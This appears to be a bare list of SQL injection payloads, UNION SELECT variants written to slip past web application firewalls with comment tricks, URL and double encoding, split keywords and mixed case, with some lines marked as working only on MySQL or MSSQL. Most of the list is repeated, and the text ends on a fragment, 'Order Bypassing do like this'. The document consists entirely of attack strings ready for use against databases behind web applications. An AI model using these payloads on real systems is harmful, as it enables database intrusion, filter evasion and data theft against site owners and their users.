union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0))
/*!50000union*/+/*!50000select*/
UNIunionON+SELselectECT
+union+distinct+select+
+union+distinctROW+select+
union+/*!select*/+1,2,3
union/**/select/**/1,2,3
uni%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
after id no. like id=1 +/*!and*/+1=0/*!50000union*/+/*!50000select*/
UNIunionON+SELselectECT
+union+distinct+select+
+union+distinctROW+select+
union+/*!select*/+1,2,3
union/**/select/**/1,2,3
uni
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
Order Bypassing do like this